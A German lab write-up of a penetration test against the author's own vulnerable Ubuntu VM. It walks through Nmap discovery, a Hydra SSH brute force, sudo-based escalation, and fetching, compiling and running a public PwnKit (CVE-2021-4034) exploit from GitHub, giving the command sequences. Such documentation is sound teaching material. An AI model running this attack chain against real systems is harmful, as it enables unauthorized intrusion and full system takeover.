
Vollständiger Penetrationstest-Workflow: Credential Brute Force, SSH-Zugriff und Privilegieneskalation (CVE-2021-4034)
Vollständiger Penetrationstest-Workflow: Credential Brute Force, SSH-Zugriff und Privilegieneskalation (CVE-2021-4034)
ÜBERBLICK
Dieses Projekt demonstriert einen vollständigen Penetrationstest-Workflow gegen eine verwundbare Ubuntu-Virtual Machine. Die Angriffskette umfasst Reconnaissance, Credential Brute Force, initialen Zugriff und Privilegieneskalation mittels mehrerer Techniken.
VERWENDETE WERKZEUGE
Nmap Hydra SSH Git CVE-2021-4034 (PwnKit)
RECONNAISSANCE
Die Recon wurde mit Nmap durchgeführt, das die Anzahl der offenen Hosts im spezifischen Netzwerk (wifi) aufdeckte.
nmap < Network IP 0/24 > : Dies zeigte die Anzahl der aktiven Hosts und deren MAC-Adressen.

Wie zu sehen war, lief die VM in der ORACLE VIRTUAL BOX, sodass wir diese als unsere Verwundbare-VM identifizieren konnten, mit der folgenden IP.
Ein weiterer Scan deckte verwundbare offene Ports für den Angriff auf.
PRIMÄRER EXPLOIT
Damit führte ich einen erfolgreichen Credential-Brute-Force-Angriff mit Hilfe von Hydra durch: hydra -l < USERNAME > or -L < File.txt > -p < PASSWORD > or -P < File.txt > < TARGET IP > < PORT >
Dieser erfolgreiche Passwort-Exploit führte dazu, dass wir die Anmeldedaten auch für den SSH-Port-Exploit nutzen konnten.
ssh < USERNAME@TARGET IP > Password < exploit password >
Dies verschaffte uns den initialen Zugriff auf unser Opfersystem. Außerdem führte die sudo-Fehlkonfiguration zum vollständigen Root-Zugriff: sudo -l : (ALL : ALL) ALL
sudo su war die Eskalation.
SEKUNDÄRER EXPLOIT
Wir fuhren fort, das Opfersystem mit Hilfe von „Pwnkit CVE-2021-4034“ zu exploitieren.
PwnKit (CVE-2021-4034) ist eine kritische Sicherheitslücke, die Anfang 2022 vom Qualys-Forschungsteam entdeckt wurde und das Polkit-Framework auf Linux-Systemen betrifft. Es handelt sich um einen lokalen Privilegieneskalationsfehler (LPE), der es jedem normalen, nicht privilegierten Benutzer ermöglicht, volle Root-Rechte (administrativen Zugriff) auf einem System zu erlangen. Die Schwachstelle existiert seit der Einführung von Polkit im Jahr 2009 und gilt als „trivial“ ausnutzbar, was sie äußerst gefährlich macht.
Common Vulnerabilities and Exposures (CVE) ist eine standardisierte, öffentlich zugängliche Liste von Cybersicherheitslücken und -expositionen in Software und Hardware.
INSTALLATION VON CVE-2021-4034 UND EXPLOIT DER VM
Zuerst bestätigte ich, dass das Zielsystem potenziell verwundbar war, indem ich das Vorhandensein und die Berechtigungen von pkexec überprüfte: which pkexec Ausgabe: ls -la /usr/bin/pkexec Das Binary hatte das SUID-Bit gesetzt, was darauf hinweist, dass es mit Root-Rechten ausgeführt wird, und es somit ein geeignetes Ziel für die Ausnutzung darstellt.
Vorbereiten der Umgebung
Um den Exploit zu kompilieren, wurden die erforderlichen Tools installiert: sudo apt update sudo apt install git build-essential -y Dadurch wurde sichergestellt, dass das System über den notwendigen Compiler und die Abhängigkeiten verfügte. Falls apt des Systems Hintergrundaufgaben ausführt, beenden Sie diese.
Übertragen / Beziehen des Exploit-Codes
Der Exploit wurde direkt auf der Opfermaschine geklont:
cd /tmp
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
Die Verwendung von /tmp vermeidet Unordnung und spiegelt realistische Angreiferverhalten wider.

Kompilieren des Exploits
Der Exploit wurde kompiliert mit: "make"
Dadurch wurde die ausführbare Datei erzeugt, die benötigt wird, um die Schwachstelle auszulösen.
Ausführen des Exploits
Der Exploit wurde ausgeführt: ./cve-2021-4034
Überprüfen der Privilegieneskalation
Nach der Ausführung wurde der Root-Zugriff bestätigt: whoami
Ausgabe: root
Dieser Exploit funktioniert, weil pkexec Umgebungsvariablen unsachgemäß behandelt, wodurch Angreifer beliebigen Code mit erhöhten Rechten ausführen können.
FAZIT
Diese Übung demonstriert, wie ein scheinbar niedrig privilegierter Benutzer durch Ausnutzung einer bekannten Schwachstelle wie PwnKit (CVE-2021-4034) die vollständige Systemkontrolle erlangen kann. Durch die Kombination von initialem Zugriff mittels Credential-Kompromittierung mit systematischer Enumeration und Exploitation war es möglich, Root-Zugriff zu erreichen, ohne sich allein auf Fehlkonfigurationen zu verlassen. Dies unterstreicht die entscheidende Bedeutung einer rechtzeitigen Patch-Verwaltung und sicherer Konfigurationspraktiken. Selbst eine einzige übersehene Schwachstelle kann zur vollständigen Kompromittierung des Systems führen, was die Notwendigkeit kontinuierlicher Sicherheitsbewertungen und einer mehrschichtigen Verteidigungsstrategie betont.